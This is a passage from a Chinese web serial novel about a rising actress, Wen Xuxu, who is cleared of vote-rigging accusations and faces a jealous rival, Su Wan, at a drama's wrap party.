不仅如此,公告还透露了一个令无数人惊喜的消息,那就是该剧的总导演将由秦肆出任。 秦肆的加入,无疑为《燎原》剧组注入了强大的信心与期待。剧组表示,会全力等待温栩栩拍完《灵媒》,确保她能无缝对接,直接进入《燎原》剧组,开始新的拍摄工作。这一决定,让整个娱乐圈和广大网友都沸腾了。 此消息一出,立即在网络上引发了广泛的关注和热议。大家纷纷对《燎原》剧组的这一选择表示出极大的兴趣和期待,同时也对苏婉的处境表达了不同的看法。这份公告,不仅关乎一部剧的选角,更像是一颗投入平静湖面的巨石,激起了层层波澜,让整个娱乐圈都为之瞩目。 秦肆,这个名字在娱乐圈里,无疑是闪耀的明星。作为秦家少爷,他天生就拥有令人瞩目的身份和背景。而他自身所展现出的才华与魅力,更是让他成为了圈层里无数人追捧的大佬级人物。 秦肆是一位天才导演,他凭借着自己独特的艺术视角和出色的执导能力,创作出了许多令人赞叹的作品。他的每一部作品都充满了创意与深度,无论是剧情的设计,还是镜头的运用,都展现出了他卓越的才华。他的作品往往能在观众中引起强烈的共鸣,不仅收获了极高的票房和收视率,也赢得了业内的广泛认可和赞誉。 秦肆的颜值和地位,更是为他增添了不少魅力。他那英俊的外表,总是能在各种场合吸引众人的目光。 而他所在的秦家,在娱乐圈有着深厚的人脉和资源,这使得他在圈中的地位举足轻重。 他的影响力不仅仅局限于导演领域,在整个娱乐圈都有着广泛的影响。 许多演员和工作人员都希望能有机会与他合作,因为与秦肆合作,不仅意味着能参与到优秀的作品中,更有可能借此机会提升自己的知名度和演技。 秦肆的加入,让《燎原》剧组充满了期待和信心,也让这部剧未拍先火,成为了众人关注的焦点。他的影响力,无疑将为这部剧带来更多的关注度和话题性。 但同时也让网络瞬间炸开了锅,无数网友纷纷涌向社交平台,表达自己对秦肆的狂热追捧。 微博、抖音等平台的相关话题热度一路飙升。 #秦肆执导《燎原》#的词条迅速登上了热搜榜首。 “秦肆!我的男神!终于又有新作品了!期待期待!”有粉丝激动地评论道,语气中满是兴奋与期待。 还有网友表示:“秦肆出手,必属精品!《燎原》还没开拍,我就已经迫不及待想看了。”言语间对秦肆的才华充满了信任与崇拜。 更有甚者,开始自发地组织起应援活动,为秦肆加油打气。 第1517章 温栩栩的可塑性非常强 一时间,网络上充斥着各种关于秦肆的讨论和祝福,粉丝们的热情仿佛要将整个网络点燃。秦肆的每一次作品发布,都像是一场盛大的狂欢,让无数网友为之疯狂。 不少业内人士也纷纷发表看法,对秦肆的加入表示赞赏和期待。 一位资深影评人表示:“秦肆的执导风格独特,总能给人带来惊喜。相信在他的带领下,《燎原》一定会成为一部优秀的作品。”秦肆的影响力,可见一斑。 《灵媒》作为一部备受关注的作品,其导演的更换自然也引起了广泛的关注。原本由秦扬帆担任总导演,如今却变成了秦肆,这其中的变故,让不少人嗅到了不同寻常的气息。 有知情人士透露,这一更换其实是黎氏为了力捧温栩栩而做出的决定。 温栩栩在《灵媒》中的表现备受认可,黎氏希望能够借助秦肆的影响力,进一步提升温栩栩的知名度和演技。 秦肆作为秦家少爷,与黎氏有着密切的关系。他接手《灵媒》的执导工作,无疑是黎氏对其能力的信任和肯定。而温栩栩作为黎氏力捧的新人,能够得到秦肆的亲自指导,也足以看出黎氏对她的重视程度。 这一更换,也让外界对《灵媒》的期待值再次提升。大家都好奇,在秦肆的执导下,温栩栩会展现出怎样的精彩表演。而温栩栩也面临着巨大的压力和挑战,她需要用自己的实力和努力,来证明自己值得这份力捧。不过,相信在秦肆的帮助下,温栩栩一定能够迎来自己演艺事业的又一个高峰。 尽管温栩栩得到了《燎原》剧组的青睐,但网络上仍有不少质疑的声音。 部分网友认为,以温栩栩目前的咖位,还不足以担纲《燎原》这样备受瞩目的作品的女主角。 有人表示:“温栩栩之前演的那些角色,大多都是些小角色或者配角,没有足够的分量和影响力。她凭什么能一下子跃升到这么重要的位置?这部剧的女主应该由更有资历和影响力的演员来担任。” 还有网友拿温栩栩与其他当红女星对比:“看看那些一线女星,她们有丰富的演艺经验和众多代表作。温栩栩和他们比起来,差距太大了。《燎原》剧组这样选择,实在让人难以理解。” 甚至有网友怀疑其中存在不为人知的操作:“这背后肯定有猫腻,温栩栩凭什么能击败那么多有实力的演员,得到这个角色?希望剧组能给大众一个合理的解释。” 这些质疑声在网络上此起彼伏,形成了一股不小的舆论压力,给温栩栩带来了一定的困扰,也让《燎原》剧组的选角决定备受争议。 当然,也有许多网友对温栩栩的颜值和演技给予了高度的认可和支持。 他们认为,温栩栩完全有能力胜任《燎原》女主角的角色,黎氏力捧她也是情理之中。 在颜值方面,不少网友觉得温栩栩有着独特的魅力。 “温栩栩的长相清新脱俗,有一种让人一眼就能记住的气质。她的美不是那种千篇一律的网红脸,而是有着自己独特的韵味。在镜头前,她总能展现出不同的风情,无论是甜美可爱还是冷艳高贵,都能驾驭得恰到好处。” 而对于演技,大家更是赞不绝口。 “看过温栩栩之前的作品,她的表现真的很出色。在《灵媒》中,她将角色的内心世界刻画得淋漓尽致,每一个眼神、每一个动作都充满了戏。她的演技自然真实,能够让观众产生强烈的共鸣。” 还有网友认为,温栩栩的可塑性非常强。 “她能够驾驭各种不同类型的角色,无论是古装剧还是现代剧,都能演绎出自己的特色。《燎原》这样的作品,对演员的演技要求很高,而温栩栩完全有能力胜任。黎氏力捧她,也是看到了她的潜力和实力。” 这些肯定和支持的声音,为温栩栩赢得了一定的口碑,也让更多人期待她在《燎原》中的表现。 温栩栩这边路人对她其实还是有些期待的,但苏婉就没有这么好的运气了。 在《燎原》剧组公告发布后,苏婉粉丝的种种反应成为了网友嘲讽的对象。 许多网友都认为,苏婉粉丝在没有合同的情况下,就指责黎氏出尔反尔,实在是无理取闹。 “合同都没签,就在这嚷嚷黎氏出尔反尔,这逻辑也是服了。”有网友直接点明苏婉粉丝的逻辑漏洞。还有网友调侃道:“这粉丝真是戏精上身,自导自演一出大戏,结果发现自己连剧本都没有。” 更有网友将苏婉粉丝的行为比作“跳梁小丑”:“在这跳来跳去,也改变不了苏婉没被选上的事实。有这时间,不如多去提升自家偶像的演技和实力。” 在各大社交平台上,苏婉粉丝的言论被广泛转发和评论,嘲讽之声不绝于耳。原本苏婉粉丝是想为自己的偶像发声,结果却适得其反,让自己和偶像都成为了全网的笑柄,也让苏婉在这次事件中的处境更加尴尬。 从颜值和演技等方面来看,苏婉与温栩栩确实存在一些差距,这也是《燎原》剧组选择温栩栩的重要原因之一。 在颜值方面,温栩栩有着独特的魅力。她的长相清新脱俗,给人一种自然又舒服的感觉,无论是甜美可爱还是冷艳高贵,都能驾驭得恰到好处。 而苏婉的颜值虽然也不差,但相对而言,她的风格较为单一,缺乏温栩栩那种让人眼前一亮的感觉。 演技上,温栩栩的表现更是可圈可点。 在《灵媒》中,她将角色的内心世界刻画得淋漓尽致,每一个眼神、每一个动作都充满了戏,能够让观众产生强烈的共鸣。 而苏婉的演技则相对较为平淡,在一些作品中的表现也没有给人留下特别深刻的印象。 从可塑性来看,温栩栩能够驾驭各种不同类型的角色,无论是古装剧还是现代剧,都能演绎出自己的特色。 第1518章 凭实力 而苏婉在角色选择上相对较为局限,多是一些类似风格的角色。 综合这些因素,《燎原》剧组选择温栩栩也是情理之中。 虽然苏婉有一定的粉丝基础,但在颜值和演技等方面,温栩栩的优势更为明显,更适合担任这部剧的女主角。 但路人这样想,苏婉的粉丝却觉得自己姐姐吃了大亏。 苏婉的粉丝瞬间炸开了锅。他们纷纷在社交平台上为苏婉打抱不平,觉得她受到了不公正的对待。 “凭什么啊!苏婉明明之前都传定了是女主,现在说换就换,这不是耍人吗?”有粉丝愤怒地表示。还有粉丝觉得这是对苏婉的极大不尊重:“剧组这样做也太不把苏婉放在眼里了,她也是有尊严的艺人啊。” 许多粉丝开始回忆苏婉之前的努力和成就。 “苏婉为了演艺事业付出了那么多,她一直在努力提升自己的演技。她之前的作品也都很不错,为什么就不能得到这次的机会呢?” 更有粉丝怀疑是有人故意针对苏婉:“这里面肯定有黑幕,苏婉太可怜了,总是被人欺负。我们一定要为她讨回公道。” 在各大论坛和评论区,苏婉粉丝的维权声一浪高过一浪。他们用自己的方式,表达着对苏婉的支持和心疼,希望能为她争取到更多的关 尽管面对诸多质疑和嘲讽,苏婉的粉丝依然坚定地认为,苏婉有着诸多优势,完全适合《燎原》女主这一角色。 不等这件事吵出个结果来,演员综艺四个短片最终投票结果公布,《替身》短剧成为断层第一夺得冠军。 《替身》短片夺冠的那一刻,全网炸了。 不是因为结果出人意料,早在播出当晚,温栩栩那段长达七分钟无台词的“镜前独白”就已刷屏各大社交平台。 她饰演的演员在片场卸妆时,手指颤抖地抚过眼角,眼泪无声滑落。 那一刻,没有配乐,没有对白,只有呼吸声与镜中倒影的交错,却让无数观众心头一震。 “她不是在演,她就是那个替身。” “我哭了,真的哭了。原来有人能把‘无声的委屈’演得这么痛。” “这演技,吊打多少流量小花?” 可就在《替身》以断层票数登顶冠军的瞬间,风暴来了。 @娱乐深八君 突然发文:“惊爆!短剧投票现诡异断层,温栩栩《替身》票数疑似被操控!最后一小时暴涨320万票,远超第二名总票数两倍,是否存在水军刷票?已向节目组实名举报。” 配图是后台数据截图,票数曲线在最后60分钟呈近乎垂直的飙升,像一道撕裂夜空的闪电。 舆论瞬间反转。 “我就说嘛,温栩栩什么时候这么火了?原来靠刷的?” “难怪票数这么离谱,正常人哪来这么多粉丝?” “建议查查IP,别让老实人被割韭菜。” 温栩栩的粉丝怒了,但更多路人选择观望。毕竟,数据太夸张,谁看了都得怀疑。 可他们不知道的是,温栩栩早就等这一天。 在节目录制期间,她就察觉不对。 苏婉表面温婉大方,私下却多次在导演组施压,要求剪辑组“弱化温栩栩的镜头”。更有人爆料,苏婉曾私下联系几位参赛演员,暗示“不要给某些人太多曝光”。 温栩栩没争辩,只是默默让团队开启了全程数据监测。 就在“举报”热搜冲上第一的十分钟前,她已@节目组,公开一段加密后台数据视频。 “各位,请看真实数据。” 视频中,票数曲线清晰显示《替身》在投票截止前24小时,已稳定领先第二名180万票。而最后一小时的“暴涨”,并非来自单一IP或异常账号,而是全国23个省份、超过1.2万个独立账号的集中投票,高峰时段平均每秒新增票数达8900张。 更关键的是节目组技术总监亲自出镜说明:“经核查,所有投票账号均通过实名认证,无批量注册、无IP集中异常。温栩栩女士的票数真实有效。” 全场沉默。 紧接着,温栩栩再发一条微博:“有人说我靠水军?可我连热搜都买不起。我被雪藏时,没人替我说话。现在我凭作品站上舞台,却有人说我作弊?好啊,那就让数据说话。” 配图是她三年来的行程表:37个剧组试镜被拒,12次被临时换角,5次因拒绝潜规则遭封杀。 最后一行写着:“但我没放弃,因为我知道真正的好演员,终会被看见。” 全网爆了。 这一次,不是因为票数,而是因为这句话。 @追剧小仙女:“我之前还怀疑票数,现在看完整个时间线,我脸疼。温栩栩的《替身》我看了三遍,每一遍都哭。她演的不是角色,是所有在黑暗里坚持的人。” @影评人阿K:“专业角度分析,《替身》的表演层次堪称教科书级。从压抑、隐忍,到爆发、觉醒,情绪递进毫无断层。尤其那段镜前戏,呼吸节奏、微表情控制、肢体语言,全是细节。苏婉?她演哭戏靠瞪眼和甩头发,差距不是一星半点。” @路人大哥:“说温栩栩刷票的,你们去看看其他短片的票数分布。第二名是那个老戏骨,票数稳定增长,最后几小时才慢涨。而温栩栩的《替身》从播出后就一路领先,最后是粉丝集体冲榜,这叫‘断层’,不叫‘造假’。” @苏婉粉丝V5:“……我之前骂了温栩栩,现在道歉。我搜了‘替身演员真实生活’,看了纪录片,才发现她演的每一帧都有原型。而苏婉的全程慢镜头+滤镜,台词像念经,真的不如温栩栩一根手指头。” @娱乐圈观察员:“重点不是票数,是反应速度。温栩栩能在被举报第一时间拿出铁证,说明她早有准备。而苏婉呢?忙着买营销号带节奏,却连基本的数据逻辑都不懂,真造假的人,会让人一眼看出破绽?这波操作,蠢得离谱。” @温栩栩超话主持:“姐妹们,别骂了。我们赢了,靠的是作品,不是嘴。但我想说,为什么每次有人凭实力出头,就一定有人要说她作弊?是不是在某些人眼里,普通人就不该有高光?” 第1519章 谁这么恨她? 评论区,一条高赞热评被顶上第一: “温栩栩,你不是替身,你是主角。而有些人,哪怕站C位,也永远是别人人生的背景板。” 苏婉的评论区则彻底沦陷。 “女王归来?笑死,全程就一个姿势:甩头发+眯眼+甩头发。导演是她家亲戚的?” “演技评分才6.2,比温栩栩低了1.8分,票数还差三倍,脸呢?” “建议苏婉去学学表演,别总想着搞人心态。” 更有网友扒出苏婉过往“黑历史”,曾因片场耍大牌被群演投诉,曾因抢番位逼迫新人改署名,甚至在直播中公开嘲讽“科班出身的都是书呆子”。 “现在知道谁是书呆子了?” “温栩栩是当年的表演第一名,她是网红培训班毕业的,还敢瞧不起人?” 舆论彻底反转。 节目组发布正式声明,温栩栩《替身》票数真实有效,冠军剧组结果不变。并宣布将对恶意造谣账号追究法律责任。 @演员官微:“关于《替身》票数异常质疑,我方已紧急核查后台数据。经查,温栩栩作品在投票截止前24小时已稳居第一,票数稳步上升。但在最后1小时,出现大量异常IP集中刷票,票数暴涨,但这些票数均来自非活跃账号,且地域集中、行为模式高度一致,经判定为恶意刷票行为,已全部剔除。” “最终有效票数中,温栩栩仍以断层优势位居第一。所谓‘数据作假’,实为有人故意制造刷票乱象,企图诬陷参赛者。” 配图是后台数据截图,清晰显示刷票IP来源、时间分布、账号特征分析。 全网沉默。 随即,炸了。 “我靠,原来是有人想黑温栩栩?” “这操作太脏了,自己刷票,还反手举报别人?” “谁干的?谁这么恨她?” 很快,有技术大V扒出,这些刷票IP中有大量账号曾为苏婉的热搜买过水,且部分营销号与苏婉工作室有资金往来。 “懂了,苏婉干的。” “她不是第一次了,之前就搞过其他新人。” “温栩栩没背景,没团队,纯靠演技,她怕了。” 而此时,一条评论被疯狂转发: “一群魑魅魍魉买通营销号,甚至给温栩栩水票,最后还是没能伤到她。路人都无语了,也终于明白——有人就是不想温栩栩火。只要她有点热度,就有人想把她摁下去。温栩栩这明显马上就要成为顶流了。等她真的成为顶流女艺人,那些代言合约快到期的艺人,谁不慌?谁不怕被换?娱乐圈的蛋糕就这么大,谁想把自己的那份分给别人?最好的办法,就是在她还没彻底成长起来前,让她火不起来。 温栩栩这种全能型的,谁都担心吧。演技在线,不炒CP,不靠男人,粉丝黏性高,路人缘好,现在连黎云笙都护着她……她要是再拿到几个爆款剧,谁还能压得住她?所以,她越优秀,越有人恨她。但她越被黑,越证明——她走对了。” 这条评论,像一把刀,剖开了娱乐圈的真相。 它被转发了几十万次,点赞破百万。 有人称它为“娱乐圈生存法则白皮书”,有人称它是“温栩栩封神宣言”。 而评论下,无数人开始重新审视温栩栩的表演。 @影评人阿K:“温栩栩在《替身》里那段镜前独白,是教科书级别的。她没有用任何技巧,而是用‘存在感’演戏。那种疲惫、委屈、自我怀疑、又不甘心的情绪,层层递进,像潮水一样漫上来。她不是在演替身,她就是替身。” @路人大姐:“我以前不懂演技,只看脸。但温栩栩让我明白了,为什么有人说‘眼睛会演戏’。她哭的时候,你不会觉得她在哭,你会觉得‘她真的很难过’。这种感染力,是天赋,也是磨砺。” @苏婉粉丝(改名中):“我以前是苏婉粉,但现在……我粉转路了。温栩栩被黑成这样,一句没解释,只说‘我是主角’。她没靠山,没团队,却敢一个人站在台上,面对所有质疑。她比苏婉,更像女主角。” 而对苏婉的评价,却急转直下。 “苏婉的戏,永远一个表情,瞪眼+甩头发+压低声音说台词。她演女王,靠的是滤镜和BGM,不是演技。” “她这次操作太low了。自己不行,就搞别人。输不起就别参加啊。” “她怕了。她真的怕温栩栩取代她。” 温栩栩的粉丝数在24小时内暴涨五百万。 品牌方电话被打爆。 某奢侈品牌连夜召开会议,原定由苏婉代言的新季广告,临时搁置。负责人只说一句:“等风头过去,我们再看。” 而苏婉的团队,正焦头烂额。 “删帖!全部删!联系水军公司,把温栩栩的黑料再炒起来!” “不行,现在没人信了。温栩栩的路人缘起来了,我们越黑,越显得我们心虚。” “那你说怎么办?让她就这么火下去?!” 办公室里,苏婉坐在沙发上,指尖捏着一张温栩栩的剧照。 她缓缓抬手,将照片撕成两半。 “温栩栩……你以为你赢了?”她低声笑,笑得凄冷,“你还不知道,你动了谁的蛋糕。” 她站起身,走到落地窗前,俯瞰整座城市。 “你说得对,娱乐圈的蛋糕就这么大。可你不知道,我苏婉的蛋糕,从来不是靠演技分来的。” 而温栩栩,在风波平息后,只发了一条动态: “谢谢《替身》让我被看见。但我想说我不是为了打败谁才站上舞台的。我是为了告诉所有和我一样的人,哪怕被压到尘埃里,只要不放弃,光,终会照进来。” 配图是她站在片场角落,低头修改剧本的背影。 阳光从门缝照进来,落在她肩上,像一道金色的裂缝。 全网静默。 随后,热搜第一变成:#请给温栩栩一个电影番位#。 而苏婉看到温栩栩发的微博咬牙,愈发觉得自己被衬得小家子气,扛不住的默默删掉了所有与节目相关的微博。 第1520章 从未见过她如此疯狂 苏婉站在落地窗前,指尖死死掐进掌心,指甲几乎嵌进肉里,渗出点点血珠也浑然不觉。 窗外是整座城市的灯火辉煌,像一场永不落幕的盛宴。 可她眼里,只有手机屏幕上那张温栩栩的笑脸,温栩栩站在领奖台中央,聚光灯打在她脸上,眉眼清亮,眼尾微红,却笑得坦然而坚定。她穿着一袭素白长裙,没有繁复设计,没有珠光宝气,却美得让人移不开眼。 而评论区,清一色的“姐姐杀我!”“温栩栩值得!”“她不是替身,她是主角!” 苏婉的瞳孔骤然收缩,眼底翻涌着猩红的恨意,像一头被逼入绝境的野兽,恨不得将那张笑脸撕碎。 “她凭什么?!”苏婉猛地将手机砸向墙面,屏幕碎裂的声响在空旷的客厅里回荡,像她支离破碎的自尊。 她嫉妒得发疯。 她恨温栩栩那双会演戏的眼睛,恨她那副清冷又倔强的骨相,恨她明明什么都没有,却总能轻而易举地得到所有人的心。 她更恨黎云笙看温栩栩时的眼神,那种克制又深沉的温柔,是她苏婉求了十年都没能得到的。 “她算什么?”苏婉咬牙切齿,声音嘶哑,“一个被雪藏的落魄演员,一个连热搜都买不起的穷鬼,凭什么站在我头上?凭什么抢走黎云笙的注意?凭什么所有人都为她鼓掌?!” 她一步步走到镜前,盯着镜中那个妆容精致、衣着华贵的女人,忽然笑了,笑得凄厉又疯狂。 “你看看你,苏婉,你才是那个被时代抛弃的人。你还在靠水军刷热度,靠营销号洗白,靠甩头发演戏……而她,温栩栩,她靠的是作品,是演技,是观众的心。” “可我不服!”她猛地一掌拍在镜面上,玻璃震颤,“我才是黎云笙的青梅竹马!我才是那个从小陪他长大、懂他、知他、爱他的人!温栩栩算什么?她不过是个突然冒出来的替代品!一个暂时解闷的玩物!” “她不配!她不配站在他身边!不配被他护着!不配被全世界喜欢!” 她喘着粗气,胸口剧烈起伏,眼底的恨意如火山喷发,烧得她理智全无。 这时,经纪人推门进来,看到满地狼藉和苏婉近乎癫狂的模样,重重叹了口气:“你又何必呢?现在网上风向全倒向她,节目组也发了声明,数据清清楚楚,你再闹下去,只会让自己更难看。” “难看?”苏婉冷笑,“你觉得我现在还好看到哪里去?热搜第一是她温栩栩,第二是她演技封神,第三是她黎云笙的心头好!我呢?我苏婉在哪儿?在她们的对比图里,像个跳梁小丑!” 经纪人揉了揉眉心:“你明知道黎少护着她,你还非要往枪口上撞?你忘了上次你让人删她热搜,黎少直接打电话到平台高层的事了?他连一句解释都没给你,就为了她,压你。” “那又怎样?”苏婉猛地转身,眼神如刀,“我就是不甘心!我就是恨!她温栩栩有什么?她连站在我面前的资格都没有!她凭什么夺走本该属于我的一切?” “你冷静点。”经纪人压低声音,“温栩栩现在是黎少的人,你再针对她,黎少不会放过你。你真想为了一个女人,断了和黎家的关系?” “她不是‘一个女人’!”苏婉尖叫,“她是抢走我男人的女人!黎云笙是我的!从小到大,他身边的位置就是我的!我等了他十年,陪他走过最低谷,替他挡过多少明枪暗箭?可他呢?他为了温栩栩,连看都不愿看我一眼!” 她喘着气,声音颤抖:“你说我不如她?你说黎云笙更在乎她?那我这十年算什么?一场笑话吗?” 经纪人沉默片刻,缓缓道:“我不是说你不如她。我只是说……黎少现在护着温栩栩,是因为她新鲜,因为她倔,因为她不像我们这些在圈子里打滚的人,满身算计。可这种新鲜感能持续多久?黎家是什么家庭?黎家玩过的女人,哪个不是最后悄无声息地消失?温栩栩也不会例外。” 他顿了顿,语气转为蛊惑:“她现在风光,是因为黎少在。可一旦哪天黎少厌了,她连站都站不稳。而你,苏婉,你才是那个能和黎少并肩的人。你们有共同的圈子,共同的背景,共同的回忆。你和她不一样,你是能和他灵魂共鸣的人。” “灵魂共鸣?”苏婉忽然笑了,笑得讽刺,“你的意思是,我长得没她漂亮,所以只能靠灵魂?” 经纪人一僵:“我不是这个意思……” “你就是!”苏婉猛地打断,眼神如冰,“你们都这么想,对不对?所有人都觉得温栩栩清纯、干净、有演技、有骨气,而我苏婉,不过是靠资本、靠营销、靠脸吃饭的花瓶!可你们忘了,我也是演员!我也演过戏!我也拿过奖!我只是……我只是不想再装清高,不想再被忽视!” 她一步步逼近经纪人,声音低得像从地狱爬出来:“你说温栩栩是暂时的?好啊。那我就等。我等她被黎云笙厌倦的那天。等她被全网抛弃的那天。等她一无所有、跪地求饶的那天。” 她嘴角勾起一抹残忍的笑:“然后,我会亲自告诉她什么人该惹,什么人不该惹。我会让她知道,得罪我苏婉,是要付出代价的。不是现在,而是将来,当她最脆弱的时候,我会一点点,把她拥有的一切,全都夺回来。” “我会让她尝尝,被全世界唾弃的滋味。” “我会让她明白,黎云笙永远不会为她低头,而我,才是那个能站在他身边的人。” “至于现在……”她缓缓蹲下,捡起破碎的手机,指尖轻轻抚过温栩栩的笑脸,像在抚摸猎物的脖颈,“让她再风光几天吧。毕竟,高处不胜寒。摔下来的时候,才更疼。” 经纪人看着她,忽然觉得脊背发凉。 他认识苏婉十年,从未见过她如此疯狂。 第1521章 她路人缘好 她不再是那个会笑会闹、会撒娇会耍小脾气的苏婉了。 她变成了一个被嫉妒与恨意吞噬的幽灵,一个誓要将温栩栩拖入地狱的复仇者。 而这一切,才刚刚开始。 网络上吵吵嚷嚷,像一锅煮沸的粥。 #温栩栩断层夺冠#的热搜高挂榜首,评论区却早已分裂成两个阵营。 一边是铺天盖地的夸赞:“温栩栩的眼睛会演戏!”“她不是替身,她是主角!”“建议电影圈立刻签她!” 另一边,则是夹杂着酸意与恶意的攻击:“票数造假,冠军含金量为零”“演技就那样,全靠营销”“黎云笙捧得太过分了”。 可这些声音,大多撑不过三秒,就被如潮的路人怼了回去。 “你看过《替身》吗?看过那场七分钟无台词的镜前戏吗?没有就闭嘴。” “说她造假的,节目组都发声明了,是有人故意刷票陷害她,你们选择性失明?” “温栩栩要是名不副实,那苏婉就是连副实都没有。别拿演技说事,拿数据说话。” 灵媒剧组的杀青宴,就在这场舆论风暴的中心悄然举行。 因秦肆的加盟,加之墨澜与温栩栩的演技极为扎实,两人几乎零NG,拍摄效率极高,整部剧比原计划提前半个月杀青。 秦导是圈内出了名的“豪导”,有钱,也爱面子,吃不得半点委屈,更不愿委屈了剧组功臣。 于是,杀青宴直接定在了京城最顶级的私宴场所华庭。 华庭,不是谁都能订到的包厢。它 不接散客,不接网红,只服务于圈内真正有分量的人。 包厢以山水为景,竹帘轻垂,古琴悠扬,连空气里都飘着沉香与松露的混合气息。 温栩栩到的时候,已近黄昏。 她穿了条墨色丝绒长裙,领口微敞,露出锁骨线条,发丝微卷,随意披在肩头,妆很淡,只涂了点豆沙色口红,整个人透着一股慵懒的性感,像刚从戏里走出来,还没完全回神。 她不喜欢这种场合,应酬、吹捧、虚与委蛇。 可她是主演,不能不来。 她找了个角落坐下,端了杯香槟,目光淡淡扫过全场。 秦导正和投资方敬酒,墨澜被一群工作人员围着要签名,秦肆则靠在窗边,低头回消息,眉眼清冷,与喧嚣隔了一层。 她轻轻呼了口气,起身,想出去透透气。 华庭的露台是半开放的,种着几株老梅,寒夜将至,梅香浮动。 她靠在栏杆上,望着远处城市的灯火,指尖轻轻摩挲着酒杯边缘。 就在这时,身后传来一阵高跟鞋的声响。 “哎哟,这不是我们的‘断层冠军’吗?怎么,躲这儿清高来了?” 温栩栩眉梢微动,不用回头,她也听得出这声音,林芷,苏婉的“御用闺蜜”,圈内有名的“毒舌名媛”,专靠踩人上位,嘴比刀子还利。 她缓缓转身。 苏婉就站在林芷身侧,一身香槟色高定礼服,裙摆拖地,肩线微露,妆容精致到每一根睫毛都像被精心丈量过,发丝一丝不苟地挽成低髻,耳坠是两颗拇指大的钻石,在灯光下折射出冷冽的光。 她像一尊被供奉的神像,华丽、遥远、不可侵犯。 而温栩栩,只是个靠在栏杆上、连妆都没补的的女星,可即便如此仍然美的令人几乎窒息,甚至是有种圣洁的美感,林菀的闺蜜看到温栩栩的时候都显然跟着愣了下,被她的美貌震慑了。 可当两人目光相撞时,温栩栩却轻轻挑了挑眉,眉梢一动,像看到了什么不洁之物,眼底掠过一丝极淡的厌烦,像是“晦气”这种词,已经写在了她的眼神里。 她没说话,只是转身,想走。 “温栩栩!”林芷尖声叫住她,“看到苏婉就要走?怎么?是怕了我们婉婉了吗?你也知道自己拿不出手呢?” 温栩栩终于停下脚步。 她缓缓转过身,目光从林芷脸上扫过,像在看一只跳梁小丑,然后才落向苏婉。 苏婉嘴角微扬,似笑非笑,眼神里却藏着刀。 温栩栩却连笑都懒得给。 她看着林芷,声音懒散,却字字如钉:“你没有照过镜子吗?” 林芷一愣:“你说什么?” “我说,”温栩栩往前半步,灯光落在她脸上,衬得她眼尾那颗泪痣格外清晰,“我肯定能拿得出手。至于你”她上下打量林芷一眼,从她那件明显小了一码、勒出赘肉的礼服,到她脸上那层厚得能刮下来的粉,“那是真的拿不出手。” 她顿了顿,语气更慢,更冷:“你出门前都不照镜子?心黑嘴臭的,说话都闻不到周围一股子臭味儿?怪恶心人的。” 全场骤然安静。 林芷的脸瞬间涨红,像是被当众扇了一巴掌,手指颤抖地指着温栩栩:“你!你敢骂我?!” “骂你?”温栩栩嗤笑,端起酒杯轻抿一口,眼神轻蔑得像在看地上的尘,“我连骂你都嫌脏了自己的嘴。你算什么?苏婉身边的一条狗,叫得再欢,也是条狗。她让你咬谁,你就咬谁,可你有没有想过”她目光缓缓移向苏婉,“她自己,都不敢亲自来咬我,只能靠你这种废物出头?” 苏婉终于开口,声音冷得像冰:“温栩栩,你别太过分。” “我过分?”温栩栩笑了,笑得坦然又讽刺,“我站在这儿,一句话没说,是你们先拦的我。是你们先开口羞辱的我。现在我回一句,就叫过分?” 她一步步逼近,气场全开,像一头终于亮出爪牙的猫科动物。 “林芷,你听好了。我温栩栩,从不主动惹事。但谁要是非要把脸伸过来,我也不介意,扇几下。” “你——!”林芷气得发抖,抬手就要甩耳光。 温栩栩却连眼皮都没眨,只是微微侧身,避也不避,只淡淡吐出一句:“你试试啊。” “我赌你不敢。” “你要是敢动手,明天的热搜就是——‘林芷当众殴打实力派演员温栩栩,苏婉默许纵容’。你猜,是你的粉丝多,还是我的路人缘好?” 第1522章 这设定……太妙了 林芷的手僵在半空,脸色青白交加。 她不敢。 她真的不敢。 温栩栩现在是什么人? 是被节目组正名的冠军,是被黎云笙暗中维护的“特殊存在”,是连苏婉都不敢轻易正面硬刚的人。 她一个二线女星,敢动手,就是自毁前程。 “你……你等着!”林芷咬牙,声音发抖,“你别以为你赢了!” 温栩栩笑了,笑得漫不经心:“我从没觉得我在和你玩。你连对手都算不上,只是个跳梁小丑,演完就该下场了。” 她转身,不再看她们,只留下一句轻飘飘的话: “苏婉,你要是真有胆子,就自己来。别总让别人替你出头。你这样,不配做我的对手。” 说完,她径直离开,背影挺直,像一株在寒风中依旧挺立的梅。 苏婉站在原地,指尖深深掐进掌心,指甲几乎断裂。 她没说话。 可她眼底翻涌的恨意,比之前任何一次都更浓、更烈。 她不是怕温栩栩。 她是恨,恨她为什么总能这么从容,恨她为什么连反击都这么优雅,恨她为什么,连林芷这种废物,都能被她踩得毫无还手之力。 “婉婉……”林芷委屈地开口。 “闭嘴。”苏婉冷冷打断,“你太蠢了。” 林芷一僵。 “我不想听解释,也不想听借口。”苏婉看着温栩栩离去的方向,声音低得像从牙缝里挤出来,“她今天能走,明天呢?后天呢?娱乐圈的资源,就那么多。她温栩栩拿一部,我就少一部。她火一部,我的代言就少一个。” 她缓缓抬手,抚平裙摆的褶皱,嘴角勾起一抹冷笑:“她以为她赢了?她连游戏的规则都没看懂。” “这局,才刚开始。” …… 温栩栩回到包厢时,那股原本被《替身》夺冠、杀青宴庆功点燃的微光,已被苏婉那一眼、林芷那一句,碾得粉碎。 她不是怕事的人,可她厌倦了这种无休止的纠缠,像一根看不见的线,总在她以为可以松口气的时候,猛地勒紧。 她坐回角落的单人沙发,指尖无意识地摩挲着香槟杯的杯脚,冰凉的触感让她稍稍清醒。 包厢里依旧热闹。秦导正和投资方谈下一部戏的构想,墨澜被一群工作人员围着要签名,笑得温润如玉。秦肆依旧靠在窗边,低头回消息,侧脸在灯光下显得格外清冷。 可温栩栩却像被隔绝在另一个世界。 她望着玻璃上自己的倒影,墨色丝绒裙,发丝微乱,眼尾泛着淡淡的红,像一场戏刚落幕的余韵。她忽然想,如果此刻镜头对准她,该给什么标题? 《被围剿的女主角》? 还是《在光里,却始终走不到台前的人》? 她自嘲地笑了笑。 说到底,还是黎云笙的错。 这个念头一冒出来,她自己都愣了一下。 可她越想越觉得对。苏婉为什么敢?为什么总在她刚有点起色时跳出来搅局?为什么明明被节目组打脸、被舆论反噬,却依旧敢在华庭这种地方,用那种居高临下的眼神看她? 因为黎云笙从没真正划清界限。 他帮她,可他从没在公众场合,当着所有人的面,把苏婉的面子彻底撕碎。 他纵容苏婉的存在,纵容她那些小动作,纵容她一次次试探底线,仿佛在等她自己退场,又仿佛,他根本不在乎谁受伤,只要局面还在他掌控之中。 